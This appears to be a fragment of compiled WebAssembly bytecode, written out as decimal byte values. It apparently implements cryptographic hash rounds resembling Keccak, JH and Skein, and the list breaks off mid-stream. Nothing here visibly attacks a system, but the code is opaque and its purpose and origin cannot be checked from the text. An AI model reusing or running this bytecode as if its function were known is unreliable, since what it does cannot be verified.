32,0,65,160,1,106,34,13,41,3,0,33,28,32,0,65,248,0,106,34,14,41,3,0,33,32,32,0,41,3,0,33,29,32,0,65,168,1,106,34,15,41,3,0,33,31,32,0,65,128,1,106,34,16,41,3,0,33,36,32,0,65,216,0,106,34,17,41,3,0,33,41,32,0,65,48,106,34,18,41,3,0,33,42,32,0,65,56,106,34,19,41,3,0,33,43,32,0,65,176,1,106,34,20,41,3,0,33,34,32,0,65,136,1,106,34,21,41,3,0,33,44,32,0,65,224,0,106,34,22,41,3,0,33,45,32,0,65,192,0,106,34,23,41,3,0,33,46,32,0,65,184,1,106,34,6,41,3,0,33,33,32,0,65,144,1,106,34,24,41,3,0,33,47,32,0,65,232,0,106,34,25,41,3,0,33,48,32,0,65,200,0,106,34,26,41,3,0,33,49,32,0,65,192,1,106,34,7,41,3,0,33,35,32,0,65,152,1,106,34,8,41,3,0,33,39,32,0,65,240,0,106,34,9,41,3,0,33,40,3,64,32,28,32,30,133,32,32,133,32,29,133,32,1,41,3,0,34,51,133,33,37,32,34,32,43,133,32,44,133,32,45,133,32,3,41,3,0,34,52,133,33,38,32,33,32,46,133,32,47,133,32,48,133,32,4,41,3,0,34,53,133,33,50,32,0,32,35,32,49,133,32,39,133,32,40,133,32,5,41,3,0,34,40,133,34,35,32,36,32,31,133,32,41,133,32,2,41,3,0,34,54,133,32,42,133,34,39,66,1,134,32,39,66,63,136,132,133,34,33,32,29,133,55,3,0,32,1,32,33,32,51,133,55,3,0,32,12,32,33,32,30,133,55,3,0,32,14,32,33,32,32,133,55,3,0,32,13,32,33,32,28,133,55,3,0,32,2,32,38,66,1,134,32,38,66,63,136,132,32,37,133,34,28,32,54,133,34,30,55,3,0,32,18,32,28,32,42,133,55,3,0,32,17,32,28,32,41,133,55,3,0,32,16,32,28,32,36,133,55,3,0,32,15,32,28,32,31,133,55,3,0,32,3,32,50,66,1,134,32,50,66,63,136,132,32,39,133,34,28,32,52,133,55,3,0,32,19,32,28,32,43,133,55,3,0,32,22,32,28,32,45,133,55,3,0,32,21,32,28,32,44,133,55,3,0,32,20,32,28,32,34,133,55,3,0,32,4,32,35,66,1,134,32,35,66,63,136,132,32,38,133,34,28,32,53,133,55,3,0,32,23,32,28,32,46,133,55,3,0,32,25,32,48,32,28,133,55,3,0,32,24,32,47,32,28,133,55,3,0,32,6,32,6,41,3,0,32,28,133,55,3,0,32,5,32,50,32,37,66,1,134,32,37,66,63,136,132,133,34,28,32,40,133,55,3,0,32,26,32,28,32,49,133,55,3,0,32,9,32,9,41,3,0,32,28,133,55,3,0,32,8,32,8,41,3,0,32,28,133,55,3,0,32,7,32,7,41,3,0,32,28,133,55,3,0,65,0,33,10,3,64,32,0,32,10,65,2,116,65,176,59,106,40,2,0,65,3,116,106,34,27,41,3,0,33,28,32,27,32,30,65,192,0,32,10,65,2,116,65,208,58,106,40,2,0,34,27,107,173,136,32,30,32,27,173,134,132,55,3,0,32,10,65,1,106,34,10,65,24,71,4,64,32,28,33,30,12,1,11,11,32,4,41,3,0,33,30,32,5,41,3,0,33,28,32,0,32,3,41,3,0,34,32,32,2,41,3,0,34,29,66,127,133,131,32,0,41,3,0,34,31,133,55,3,0,32,2,32,30,32,32,66,127,133,131,32,29,133,55,3,0,32,3,32,28,32,30,66,127,133,131,32,32,133,55,3,0,32,4,32,31,32,28,66,127,133,131,32,30,133,55,3,0,32,5,32,28,32,29,32,31,66,127,133,131,133,55,3,0,32,23,41,3,0,33,30,32,26,41,3,0,33,28,32,1,32,19,41,3,0,34,32,32,18,41,3,0,34,29,66,127,133,131,32,1,41,3,0,34,31,133,55,3,0,32,18,32,30,32,32,66,127,133,131,32,29,133,34,42,55,3,0,32,19,32,28,32,30,66,127,133,131,32,32,133,34,43,55,3,0,32,23,32,31,32,28,66,127,133,131,32,30,133,34,46,55,3,0,32,26,32,28,32,29,32,31,66,127,133,131,133,34,49,55,3,0,32,25,41,3,0,33,28,32,9,41,3,0,33,32,32,12,32,22,41,3,0,34,29,32,17,41,3,0,34,31,66,127,133,131,32,12,41,3,0,34,36,133,34,30,55,3,0,32,17,32,28,32,29,66,127,133,131,32,31,133,34,41,55,3,0,32,22,32,32,32,28,66,127,133,131,32,29,133,34,45,55,3,0,32,25,32,36,32,32,66,127,133,131,32,28,133,34,48,55,3,0,32,9,32,32,32,31,32,36,66,127,133,131,133,34,40,55,3,0,32,24,41,3,0,33,28,32,8,41,3,0,33,29,32,14,32,21,41,3,0,34,31,32,16,41,3,0,34,34,66,127,133,131,32,14,41,3,0,34,33,133,34,32,55,3,0,32,16,32,28,32,31,66,127,133,131,32,34,133,34,36,55,3,0,32,21,32,29,32,28,66,127,133,131,32,31,133,34,44,55,3,0,32,24,32,33,32,29,66,127,133,131,32,28,133,34,47,55,3,0,32,8,32,29,32,34,32,33,66,127,133,131,133,34,39,55,3,0,32,6,41,3,0,33,29,32,7,41,3,0,33,35,32,13,32,20,41,3,0,34,34,32,15,41,3,0,34,37,66,127,133,131,32,13,41,3,0,34,38,133,34,28,55,3,0,32,15,32,29,32,34,66,127,133,131,32,37,133,34,31,55,3,0,32,20,32,35,32,29,66,127,133,131,32,34,133,34,34,55,3,0,32,6,32,38,32,35,66,127,133,131,32,29,133,34,33,55,3,0,32,7,32,35,32,37,32,38,66,127,133,131,133,34,35,55,3,0,32,0,32,0,41,3,0,32,11,65,3,116,65,128,40,106,41,3,0,133,34,29,55,3,0,32,11,65,1,106,34,11,65,24,71,13,0,11,11,200,43,2,24,127,40,126,32,0,65,32,106,34,1,41,3,0,32,0,65,160,1,106,34,9,41,3,0,133,33,28,32,1,32,28,55,3,0,32,0,65,40,106,34,2,41,3,0,32,0,65,168,1,106,34,10,41,3,0,133,33,25,32,2,32,25,55,3,0,32,0,65,48,106,34,3,41,3,0,32,0,65,176,1,106,34,11,41,3,0,133,33,30,32,3,32,30,55,3,0,32,0,65,56,106,34,4,41,3,0,32,0,65,184,1,106,34,12,41,3,0,133,33,32,32,4,32,32,55,3,0,32,0,65,192,0,106,34,5,41,3,0,32,0,65,192,1,106,34,13,41,3,0,133,33,33,32,5,32,33,55,3,0,32,0,65,200,0,106,34,6,41,3,0,32,0,65,200,1,106,34,14,41,3,0,133,33,34,32,6,32,34,55,3,0,32,0,65,208,0,106,34,7,41,3,0,32,0,65,208,1,106,34,15,41,3,0,133,33,26,32,7,32,26,55,3,0,32,0,65,216,0,106,34,8,41,3,0,32,0,65,216,1,106,34,16,41,3,0,133,33,31,32,8,32,31,55,3,0,32,0,65,136,1,106,34,17,41,3,0,33,38,32,0,65,152,1,106,34,18,41,3,0,33,41,32,0,65,232,0,106,34,19,41,3,0,33,27,32,0,65,248,0,106,34,20,41,3,0,33,37,32,0,65,128,1,106,34,21,41,3,0,33,42,32,0,65,144,1,106,34,22,41,3,0,33,39,32,0,65,224,0,106,34,23,41,3,0,33,29,32,0,65,240,0,106,34,24,41,3,0,33,35,3,64,32,60,167,34,0,65,5,116,65,176,63,106,41,0,0,34,43,32,29,66,127,133,131,32,28,133,33,36,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,35,66,127,133,131,32,30,133,34,30,32,26,131,32,28,133,33,45,32,36,32,29,32,42,66,127,133,34,28,131,133,34,40,32,29,131,32,33,133,34,44,32,29,32,33,66,127,133,131,34,47,32,28,133,34,50,132,32,40,133,34,28,32,36,32,33,131,32,43,133,34,52,131,32,44,133,34,53,32,30,32,35,32,39,66,127,133,34,33,131,133,34,36,32,35,131,32,26,133,34,43,32,35,32,26,66,127,133,131,34,26,32,33,133,34,54,132,32,36,133,34,55,133,33,33,32,34,32,25,32,0,65,5,116,65,184,63,106,41,0,0,34,25,32,27,66,127,133,131,133,34,30,131,32,25,133,33,48,32,31,32,32,32,0,65,5,116,65,200,63,106,41,0,0,34,25,32,37,66,127,133,131,133,34,32,131,32,25,133,33,49,32,30,32,27,32,38,66,127,133,34,30,131,133,33,25,32,32,32,37,32,41,66,127,133,34,51,131,133,33,32,32,27,32,34,66,127,133,131,34,56,32,30,133,34,57,32,34,32,25,32,27,131,133,34,46,132,32,25,133,34,30,32,48,131,32,46,133,34,58,32,37,32,31,66,127,133,131,34,59,32,51,133,34,61,32,32,32,37,131,32,31,133,34,51,132,32,32,133,34,62,133,33,34,32,36,32,39,32,26,133,131,32,35,133,34,31,32,45,133,32,28,133,32,40,32,47,32,42,133,131,32,29,133,34,29,32,44,131,32,50,133,34,40,133,34,26,32,53,133,34,35,32,29,32,52,133,34,39,32,43,133,32,55,32,45,131,133,34,29,32,28,133,32,60,66,1,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,36,32,28,32,54,133,32,31,32,43,131,133,34,42,32,39,133,32,33,133,34,31,66,127,133,131,133,34,28,131,32,36,133,33,39,32,29,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,29,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,36,32,33,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,33,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,29,32,26,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,26,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,26,66,127,133,131,133,34,44,131,32,29,133,33,45,32,28,32,31,32,33,32,40,133,34,43,66,127,133,34,33,131,133,33,28,32,44,32,26,32,42,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,42,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,47,66,127,133,34,40,131,133,33,29,32,31,32,35,66,127,133,131,34,50,32,33,133,34,52,32,35,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,53,32,26,32,36,66,127,133,131,34,54,32,40,133,34,55,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,63,133,33,33,32,30,32,49,133,32,59,32,41,133,32,32,131,32,37,133,34,41,133,32,56,32,38,133,32,25,131,32,27,133,34,25,32,46,131,32,57,133,34,46,133,34,32,32,58,133,34,37,32,25,32,48,133,34,25,32,51,133,32,62,32,49,131,133,34,27,32,30,133,32,0,65,5,116,65,184,63,106,41,0,0,34,40,32,34,32,25,133,32,30,32,61,133,32,41,32,51,131,133,34,38,133,34,25,66,127,133,131,133,34,30,131,32,40,133,33,41,32,27,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,27,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,40,32,34,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,34,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,27,32,32,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,32,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,32,66,127,133,131,133,34,48,131,32,27,133,33,44,32,30,32,25,32,34,32,46,133,34,49,66,127,133,34,34,131,133,33,30,32,48,32,32,32,38,66,1,134,66,170,213,170,213,170,213,170,213,170,127,131,32,38,66,1,136,66,213,170,213,170,213,170,213,170,213,0,131,132,34,48,66,127,133,34,46,131,133,33,27,32,25,32,37,66,127,133,131,34,51,32,34,133,34,56,32,37,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,54,32,47,133,32,29,131,32,26,133,34,29,133,32,50,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,52,133,34,43,133,34,26,32,53,133,34,42,32,31,32,39,133,34,31,32,36,133,32,63,32,45,131,133,34,28,32,35,133,32,60,66,2,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,55,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,39,32,28,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,28,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,36,32,33,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,33,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,26,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,43,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,29,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,47,66,127,133,34,50,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,54,32,26,32,36,66,127,133,131,34,55,32,50,133,34,50,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,61,133,33,33,32,37,32,44,133,32,58,32,48,133,32,27,131,32,32,133,34,27,133,32,51,32,49,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,48,133,34,32,32,57,133,34,38,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,27,133,34,25,66,127,133,131,133,34,37,131,32,41,133,33,41,32,30,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,30,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,40,32,34,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,34,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,30,32,32,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,32,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,32,66,127,133,131,133,34,49,131,32,30,133,33,44,32,37,32,25,32,34,32,48,133,34,48,66,127,133,34,34,131,133,33,30,32,49,32,32,32,27,66,2,134,66,204,153,179,230,204,153,179,230,76,131,32,27,66,2,136,66,179,230,204,153,179,230,204,153,51,131,132,34,49,66,127,133,34,46,131,133,33,27,32,25,32,38,66,127,133,131,34,51,32,34,133,34,56,32,38,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,29,133,32,52,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,43,133,34,26,32,54,133,34,42,32,31,32,39,133,34,31,32,36,133,32,61,32,45,131,133,34,28,32,35,133,32,60,66,3,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,50,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,39,32,28,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,28,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,36,32,33,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,33,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,26,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,43,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,29,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,47,66,127,133,34,50,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,54,32,26,32,36,66,127,133,131,34,55,32,50,133,34,50,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,61,133,33,33,32,37,32,44,133,32,58,32,49,133,32,27,131,32,32,133,34,27,133,32,51,32,48,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,48,133,34,32,32,57,133,34,38,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,27,133,34,25,66,127,133,131,133,34,37,131,32,41,133,33,41,32,30,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,30,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,40,32,34,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,34,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,30,32,32,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,32,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,32,66,127,133,131,133,34,49,131,32,30,133,33,44,32,37,32,25,32,34,32,48,133,34,48,66,127,133,34,34,131,133,33,30,32,49,32,32,32,27,66,4,134,66,240,225,195,135,143,158,188,248,112,131,32,27,66,4,136,66,143,158,188,248,240,225,195,135,15,131,132,34,49,66,127,133,34,46,131,133,33,27,32,25,32,38,66,127,133,131,34,51,32,34,133,34,56,32,38,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,29,133,32,52,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,43,133,34,26,32,54,133,34,42,32,31,32,39,133,34,31,32,36,133,32,61,32,45,131,133,34,28,32,35,133,32,60,66,4,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,50,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,39,32,28,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,28,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,36,32,33,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,33,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,26,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,43,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,29,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,47,66,127,133,34,50,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,39,131,32,42,133,34,54,32,26,32,36,66,127,133,131,34,55,32,50,133,34,50,32,29,32,26,131,32,36,133,34,36,132,32,29,133,34,61,133,33,33,32,37,32,44,133,32,58,32,49,133,32,27,131,32,32,133,34,27,133,32,51,32,48,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,48,133,34,32,32,57,133,34,38,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,27,133,34,25,66,127,133,131,133,34,37,131,32,41,133,33,41,32,30,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,30,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,40,32,34,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,34,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,30,32,32,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,32,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,32,66,127,133,131,133,34,49,131,32,30,133,33,44,32,37,32,25,32,34,32,48,133,34,48,66,127,133,34,34,131,133,33,30,32,49,32,32,32,27,66,8,134,66,128,254,131,248,143,224,191,128,127,131,32,27,66,8,136,66,255,129,252,135,240,159,192,255,0,131,132,34,49,66,127,133,34,46,131,133,33,27,32,25,32,38,66,127,133,131,34,51,32,34,133,34,56,32,38,32,30,32,25,131,133,34,38,132,32,30,133,34,37,32,41,131,32,38,133,34,57,32,32,32,40,66,127,133,131,34,58,32,46,133,34,46,32,27,32,32,131,32,40,133,34,40,132,32,27,133,34,59,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,29,133,32,52,32,43,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,43,133,34,26,32,54,133,34,42,32,31,32,39,133,34,31,32,36,133,32,61,32,45,131,133,34,28,32,35,133,32,60,66,5,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,39,32,33,32,31,133,32,35,32,50,133,32,29,32,36,131,133,34,29,133,34,31,66,127,133,131,133,34,35,131,32,39,133,33,36,32,28,66,16,134,66,128,128,252,255,143,128,64,131,32,28,66,16,136,66,255,255,131,128,240,255,63,131,132,34,39,32,33,66,16,134,66,128,128,252,255,143,128,64,131,32,33,66,16,136,66,255,255,131,128,240,255,63,131,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,16,134,66,128,128,252,255,143,128,64,131,32,26,66,16,136,66,255,255,131,128,240,255,63,131,132,34,26,66,127,133,131,133,34,47,131,32,28,133,33,45,32,35,32,31,32,33,32,43,133,34,50,66,127,133,34,33,131,133,33,28,32,47,32,26,32,29,66,16,134,66,128,128,252,255,143,128,64,131,32,29,66,16,136,66,255,255,131,128,240,255,63,131,132,34,47,66,127,133,34,43,131,133,33,29,32,31,32,42,66,127,133,131,34,52,32,33,133,34,53,32,42,32,28,32,31,131,133,34,42,132,32,28,133,34,35,32,36,131,32,42,133,34,54,32,26,32,39,66,127,133,131,34,55,32,43,133,34,61,32,29,32,26,131,32,39,133,34,43,132,32,29,133,34,62,133,33,33,32,37,32,44,133,32,58,32,49,133,32,27,131,32,32,133,34,27,133,32,51,32,48,133,32,30,131,32,25,133,34,25,32,38,131,32,56,133,34,38,133,34,32,32,57,133,34,39,32,25,32,41,133,34,25,32,40,133,32,59,32,44,131,133,34,30,32,37,133,32,0,65,5,116,65,184,63,106,41,0,0,34,41,32,34,32,25,133,32,37,32,46,133,32,27,32,40,131,133,34,37,133,34,25,66,127,133,131,133,34,27,131,32,41,133,33,40,32,30,66,16,134,66,128,128,252,255,143,128,64,131,32,30,66,16,136,66,255,255,131,128,240,255,63,131,132,34,41,32,34,66,16,134,66,128,128,252,255,143,128,64,131,32,34,66,16,136,66,255,255,131,128,240,255,63,131,132,32,0,65,5,116,65,200,63,106,41,0,0,34,44,32,32,66,16,134,66,128,128,252,255,143,128,64,131,32,32,66,16,136,66,255,255,131,128,240,255,63,131,132,34,30,66,127,133,131,133,34,32,131,32,44,133,33,44,32,27,32,25,32,34,32,38,133,34,46,66,127,133,34,34,131,133,33,27,32,32,32,30,32,37,66,16,134,66,128,128,252,255,143,128,64,131,32,37,66,16,136,66,255,255,131,128,240,255,63,131,132,34,51,66,127,133,34,32,131,133,33,38,32,25,32,39,66,127,133,131,34,56,32,34,133,34,57,32,39,32,27,32,25,131,133,34,48,132,32,27,133,34,39,32,40,131,32,48,133,34,58,32,30,32,41,66,127,133,131,34,59,32,32,133,34,63,32,38,32,30,131,32,41,133,34,49,132,32,38,133,34,64,133,33,34,32,35,32,45,133,32,55,32,47,133,32,29,131,32,26,133,34,37,133,32,52,32,50,133,32,28,131,32,31,133,34,31,32,42,131,32,53,133,34,29,133,34,26,32,54,133,34,32,32,31,32,36,133,34,31,32,43,133,32,62,32,45,131,133,34,28,32,35,133,32,60,66,6,124,167,34,0,65,5,116,65,176,63,106,41,0,0,34,41,32,33,32,31,133,32,35,32,61,133,32,37,32,43,131,133,34,37,133,34,31,66,127,133,131,133,34,36,131,32,41,133,33,35,32,28,66,32,134,32,28,66,32,136,132,34,41,32,33,66,32,134,32,33,66,32,136,132,32,0,65,5,116,65,192,63,106,41,0,0,34,28,32,26,66,32,134,32,26,66,32,136,132,34,26,66,127,133,131,133,34,45,131,32,28,133,33,42,32,36,32,31,32,33,32,29,133,34,36,66,127,133,34,29,131,133,33,33,32,45,32,26,32,37,66,32,134,32,37,66,32,136,132,34,45,66,127,133,34,43,131,133,33,28,32,31,32,32,66,127,133,131,34,47,32,29,133,34,50,32,32,32,33,32,31,131,133,34,37,132,32,33,133,34,29,32,35,131,32,37,133,34,52,32,26,32,41,66,127,133,131,34,53,32,43,133,34,43,32,28,32,26,131,32,41,133,34,41,132,32,28,133,34,54,133,33,32,32,29,32,42,133,32,53,32,45,133,32,28,131,32,26,133,34,26,133,32,47,32,36,133,32,33,131,32,31,133,34,31,32,37,131,32,50,133,34,36,133,33,37,32,31,32,35,133,34,35,32,41,133,32,54,32,42,131,133,34,31,32,29,133,33,28,32,37,32,52,133,33,33,32,32,32,35,133,32,29,32,43,133,32,26,32,41,131,133,34,41,133,33,29,32,32,32,36,133,33,42,32,39,32,44,133,32,59,32,51,133,32,38,131,32,30,133,34,26,133,32,56,32,46,133,32,27,131,32,25,133,34,27,32,48,131,32,57,133,34,38,133,34,25,32,58,133,34,30,32,27,32,40,133,34,35,32,49,133,32,64,32,44,131,133,34,27,32,39,133,32,0,65,5,116,65,184,63,106,41,0,0,34,36,32,34,32,35,133,32,39,32,63,133,32,26,32,49,131,133,34,35,133,34,26,66,127,133,131,133,34,40,131,32,36,133,33,39,32,27,66,32,134,32,27,66,32,136,132,34,36,32,34,66,32,134,32,34,66,32,136,132,32,0,65,5,116,65,200,63,106,41,0,0,34,27,32,25,66,32,134,32,25,66,32,136,132,34,25,66,127,133,131,133,34,44,131,32,27,133,33,45,32,40,32,26,32,34,32,38,133,34,40,66,127,133,34,38,131,133,33,34,32,44,32,25,32,35,66,32,134,32,35,66,32,136,132,34,44,66,127,133,34,43,131,133,33,27,32,26,32,30,66,127,133,131,34,48,32,38,133,34,49,32,30,32,34,32,26,131,133,34,35,132,32,34,133,34,38,32,39,131,32,35,133,34,46,32,25,32,36,66,127,133,131,34,51,32,43,133,34,43,32,27,32,25,131,32,36,133,34,36,132,32,27,133,34,47,133,33,30,32,38,32,45,133,32,51,32,44,133,32,27,131,32,25,133,34,27,133,32,48,32,40,133,32,34,131,32,26,133,34,34,32,35,131,32,49,133,34,40,133,33,35,32,34,32,39,133,34,39,32,36,133,32,47,32,45,131,133,34,26,32,38,133,33,25,32,35,32,46,133,33,34,32,30,32,39,133,32,38,32,43,133,32,27,32,36,131,133,34,39,133,33,27,32,30,32,40,133,33,38,32,60,66,7,124,34,60,66,42,84,13,0,11,32,1,32,28,55,3,0,32,5,32,33,55,3,0,32,3,32,30,55,3,0,32,7,32,26,55,3,0,32,2,32,25,55,3,0,32,4,32,32,55,3,0,32,6,32,34,55,3,0,32,8,32,31,55,3,0,32,23,32,9,41,3,0,32,29,133,55,3,0,32,19,32,10,41,3,0,32,27,133,55,3,0,32,24,32,11,41,3,0,32,35,133,55,3,0,32,20,32,12,41,3,0,32,37,133,55,3,0,32,21,32,13,41,3,0,32,42,133,55,3,0,32,17,32,14,41,3,0,32,38,133,55,3,0,32,22,32,15,41,3,0,32,39,133,55,3,0,32,18,32,16,41,3,0,32,41,133,55,3,0,11,179,52,2,9,127,42,126,32,3,173,33,44,32,2,65,127,106,173,33,45,32,0,65,8,106,34,4,41,3,0,34,46,33,36,32,0,65,16,106,34,5,41,3,0,33,34,32,0,65,208,0,106,34,6,41,3,0,33,26,32,0,65,200,0,106,34,7,41,3,0,33,25,32,0,65,192,0,106,34,8,41,3,0,33,24,32,0,65,56,106,34,9,41,3,0,33,27,32,0,65,48,106,34,10,41,3,0,33,28,32,0,65,40,106,34,11,41,3,0,33,29,32,0,65,32,106,34,12,41,3,0,33,30,32,0,65,24,106,34,3,41,3,0,33,31,3,64,32,36,32,44,124,34,36,32,34,133,33,35,32,1,65,192,0,106,33,0,32,1,41,0,0,34,47,32,31,124,32,1,41,0,8,34,48,32,30,124,34,13,124,33,21,32,1,41,0,48,34,49,32,34,32,25,124,34,37,124,32,1,41,0,56,34,50,32,26,124,34,17,124,33,22,32,1,41,0,16,34,51,32,29,124,32,1,41,0,24,34,52,32,28,124,34,14,124,34,16,32,13,66,46,134,32,13,66,18,136,132,32,21,133,34,20,124,33,19,32,17,66,37,134,32,17,66,27,136,132,32,22,133,34,18,32,1,41,0,32,34,53,32,27,124,32,1,41,0,40,34,54,32,36,32,24,124,34,38,124,34,15,124,34,17,124,33,13,32,14,66,36,134,32,14,66,28,136,132,32,16,133,34,14,32,21,124,33,33,32,18,66,27,134,32,18,66,37,136,132,32,13,133,34,23,32,19,124,33,21,32,13,32,20,66,33,134,32,20,66,31,136,132,32,19,133,34,16,124,34,13,32,16,66,17,134,32,16,66,47,136,132,133,34,18,32,15,66,19,134,32,15,66,45,136,132,32,17,133,34,15,32,22,124,34,16,32,14,66,42,134,32,14,66,22,136,132,32,33,133,34,14,124,34,17,124,33,20,32,13,32,14,66,49,134,32,14,66,15,136,132,32,17,133,34,19,124,33,22,32,23,66,39,134,32,23,66,25,136,132,32,21,133,34,14,32,15,66,14,134,32,15,66,50,136,132,32,16,133,34,15,32,33,124,34,16,124,34,17,32,30,124,32,18,66,44,134,32,18,66,20,136,132,32,20,133,32,29,124,34,13,124,33,18,32,20,32,35,32,26,124,34,39,124,32,26,66,162,180,240,207,170,